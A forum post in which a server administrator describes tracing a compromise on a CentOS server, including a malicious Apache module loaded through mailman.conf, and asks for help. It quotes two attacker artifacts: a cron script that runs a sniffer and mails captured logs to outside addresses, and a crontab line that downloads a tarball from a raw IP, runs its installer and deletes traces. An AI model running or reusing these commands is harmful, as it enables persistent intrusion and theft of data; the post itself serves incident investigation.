I'm currently trying to find out how one of our centos servers was compromised. We were experiencing malware on our sites. After searching I finally found the malware injecting into the sites. As it was happening randomly, it was hard to detect. I followed help from this blog article:
This led me to search through each of the apache modules and eventually found a module that was injecting the malware. It went under the name of mod_string_mime.so and was being loaded through /etc/httpd/conf.d/mailman.conf to avoid detection. Very frustrating. So, the module is now deleted and the mailman.conf file is back to normal.
Digging further, I installed and ran rkhunter. Upon running this, I found a warning for a suspect file in /etc/cron.daily/ called dnsquery. In this file, this is what it looks like…
#!/bin/sh cd /usr/lib/ ./popauth -r httpd.log > test cat /usr/share/misc/blah/temp.log |uniq >> test echo >/usr/share/misc/blah/temp.log mail email@example.com -s "$(hostname -f)" < test mail firstname.lastname@example.org -s "$(hostname -f)" < test rm -rf test httpd.log A=$PATH killall -9 popauth export PATH=/usr/lib/ popauth -w httpd.log & export PATH=$A
I've tried to delete this file but it keeps coming back every minute. The owner and group is 'psaadm'. I can't find how it's being created. I assume it's generating through plesk cron or something.
I also found this in the crontab:
* * * * * chattr -AacDdijsSu /bin/; cd /root ; wget http://18.104.22.168/xpsa/skdet.tgz; chmod +x skdet.tgz; tar zxvf skdet.tgz ; cd skdet ; ./inst; rm -rf /usr/share/misc /root/sk* /tmp/nc* /root/ssh/;
which doesn't look right.
Any suggestions on how to proceed or locate the intrusion?